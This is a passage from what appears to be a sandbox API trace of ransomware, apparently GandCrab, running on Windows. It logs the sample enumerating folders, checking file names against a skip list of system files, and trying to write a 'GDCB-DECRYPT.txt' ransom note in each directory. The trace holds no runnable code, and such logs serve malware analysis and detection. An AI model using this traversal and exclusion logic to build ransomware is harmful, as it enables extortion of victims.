returned 1 [0169.596] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.596] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.596] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0169.596] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.596] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0169.596] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0169.596] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.596] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.596] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.596] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.596] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt" [0169.596] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.596] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0169.596] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0169.596] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0169.597] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.597] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.597] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.597] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.597] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.597] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.597] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned="C:\\Boot\\zh-HK\\memtest.exe.mui" [0169.597] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.597] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0169.597] lstrlenW (lpString="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0169.597] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.597] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.597] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0169.597] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.597] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0169.597] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0169.597] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-TW" | out: lpString1="C:\\Boot\\zh-TW") returned="C:\\Boot\\zh-TW" [0169.597] lstrcatW (in: lpString1="C:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="C:\\Boot\\zh-TW\\") returned="C:\\Boot\\zh-TW\\" [0169.597] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.597] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.598] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.598] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.598] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.598] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.598] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0169.598] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-TW\\*") returned="C:\\Boot\\zh-TW\\*" [0169.598] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4ed8 [0169.598] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.598] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.598] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.598] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.598] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.598] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.598] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.598] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0169.598] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0169.598] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.598] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.598] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.598] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.598] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt" [0169.598] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0169.598] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.598] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.598] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.598] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.598] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned="C:\\Boot\\zh-TW\\memtest.exe.mui" [0169.598] lstrlenW (lpString="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0169.598] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.598] FindNextFileW (in: hFindFile=0x5a4ed8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.599] FindClose (in: hFindFile=0x5a4ed8 | out: hFindFile=0x5a4ed8) returned 1 [0169.599] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.599] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-TW\\\\GDCB-DECRYPT.txt") returned 31 [0169.599] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-tw\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.599] GetLastError () returned 0x50 [0169.599] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.599] lstrlenW (lpString="C:\\Boot\\zh-TW\\") returned 14 [0169.599] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-TW\\*") returned="C:\\Boot\\zh-TW\\*" [0169.599] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4e18 [0169.599] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.599] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.599] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.599] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.599] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.599] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.599] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.599] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="C:\\Boot\\zh-TW\\bootmgr.exe.mui" [0169.599] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.599] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0169.600] lstrlenW (lpString="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0169.600] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.600] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.600] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.600] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.600] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt" [0169.600] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.600] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0169.600] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0169.600] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0169.600] lstrlenW (lpString="C:\\Boot\\zh-TW\\GDCB-DECRYPT.txt") returned 30 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.600] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.600] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.600] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.600] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.600] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.600] lstrcatW (in: lpString1="C:\\Boot\\zh-TW\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned="C:\\Boot\\zh-TW\\memtest.exe.mui" [0169.600] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.600] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0169.601] lstrlenW (lpString="C:\\Boot\\zh-TW\\memtest.exe.mui") returned 29 [0169.601] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.601] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.601] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.601] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0 [0169.601] FindClose (in: hFindFile=0x5a4b18 | out: hFindFile=0x5a4b18) returned 1 [0169.601] FindNextFileW (in: hFindFile=0x5a4cd8, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0169.601] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0169.601] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0169.601] lstrcatW (in: lpString1="C:\\", lpString2="bootmgr" | out: lpString1="C:\\bootmgr") returned="C:\\bootmgr" [0169.601] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.601] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\bootmgr") returned 10 [0169.601] lstrlenW (lpString="C:\\bootmgr") returned 10 [0169.601] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.601] FindNextFileW (in: hFindFile=0x5a4cd8, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0169.601] lstrcmpW (lpString1="BOOTNXT", lpString2=".") returned 1 [0169.601] lstrcmpW (lpString1="BOOTNXT", lpString2="..") returned 1 [0169.601] lstrcatW (in: lpString1="C:\\", lpString2="BOOTNXT" | out: lpString1="C:\\BOOTNXT") returned="C:\\BOOTNXT" [0169.601] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.601] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\BOOTNXT") returned 10 [0169.601] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0169.601] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.602] FindNextFileW (in: hFindFile=0x5a4cd8, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0169.602] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0169.602] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0169.602] lstrcatW (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK" [0169.602] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.602] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\BOOTSECT.BAK") returned 15 [0169.602] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0169.602] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.602] FindNextFileW (in: hFindFile=0x5a4cd8, lpFindFileData=0x285fcc0 | out: lpFindFileData=0x285fcc0) returned 1 [0169.602] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0169.602] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0169.602] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0169.602] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0169.602] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.602] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.602] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0169.602] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0169.603] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x5a4c18 [0169.603] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.603] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.603] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.603] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0169.603] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0169.603] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="All Users" | out: lpString1="C:\\Documents and Settings\\All Users") returned="C:\\Documents and Settings\\All Users" [0169.603] lstrlenW (lpString="C:\\Documents and Settings\\All Users") returned 35 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.603] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0169.603] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0169.603] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps" [0169.603] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps") returned 38 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.603] lstrcmpW (lpString1="Default", lpString2=".") returned 1 [0169.603] lstrcmpW (lpString1="Default", lpString2="..") returned 1 [0169.603] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="Default" | out: lpString1="C:\\Documents and Settings\\Default") returned="C:\\Documents and Settings\\Default" [0169.603] lstrlenW (lpString="C:\\Documents and Settings\\Default") returned 33 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.603] lstrcmpW (lpString1="Default User", lpString2=".") returned 1 [0169.603] lstrcmpW (lpString1="Default User", lpString2="..") returned 1 [0169.603] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="Default User" | out: lpString1="C:\\Documents and Settings\\Default User") returned="C:\\Documents and Settings\\Default User" [0169.603] lstrlenW (lpString="C:\\Documents and Settings\\Default User") returned 38 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.603] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0169.603] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0169.603] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="desktop.ini" | out: lpString1="C:\\Documents and Settings\\desktop.ini") returned="C:\\Documents and Settings\\desktop.ini" [0169.603] lstrlenW (lpString="C:\\Documents and Settings\\desktop.ini") returned 37 [0169.603] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.603] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.603] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.603] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\GDCB-DECRYPT.txt" [0169.603] lstrlenW (lpString="C:\\Documents and Settings\\GDCB-DECRYPT.txt") returned 42 [0169.603] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0169.603] lstrcmpW (lpString1="Public", lpString2=".") returned 1 [0169.603] lstrcmpW (lpString1="Public", lpString2="..") returned 1 [0169.603] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="Public" | out: lpString1="C:\\Documents and Settings\\Public") returned="C:\\Documents and Settings\\Public" [0169.603] lstrlenW (lpString="C:\\Documents and Settings\\Public") returned 32 [0169.603] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0169.603] FindClose (in: hFindFile=0x5a4c18 | out: hFindFile=0x5a4c18) returned 1 [0169.603] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.604] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\\\GDCB-DECRYPT.txt") returned 43 [0169.604] CreateFileW (lpFileName="C:\\Documents and Settings\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.604] GetLastError () returned 0x50 [0169.604] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.604] lstrlenW (lpString="C:\\Documents and Settings\\") returned 26 [0169.604] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\*") returned="C:\\Documents and Settings\\*" [0169.604] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x5a4fd8 [0169.604] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.604] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.604] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.604] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.604] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.604] lstrcmpW (lpString1="All Users", lpString2=".") returned 1 [0169.604] lstrcmpW (lpString1="All Users", lpString2="..") returned 1 [0169.604] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="All Users" | out: lpString1="C:\\Documents and Settings\\All Users") returned="C:\\Documents and Settings\\All Users" [0169.604] lstrcatW (in: lpString1="C:\\Documents and Settings\\All Users", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\All Users\\") returned="C:\\Documents and Settings\\All Users\\" [0169.604] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.605] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.605] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.605] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2=".") returned 1 [0169.605] lstrcmpW (lpString1="CIiHmnxMn6Ps", lpString2="..") returned 1 [0169.605] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="CIiHmnxMn6Ps" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps" [0169.605] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\" [0169.605] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.605] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.605] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.605] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.605] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.605] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.605] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\") returned 39 [0169.605] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\*" [0169.605] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4c18 [0169.605] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.605] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.605] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.605] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.605] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.605] lstrcmpW (lpString1="AppData", lpString2=".") returned 1 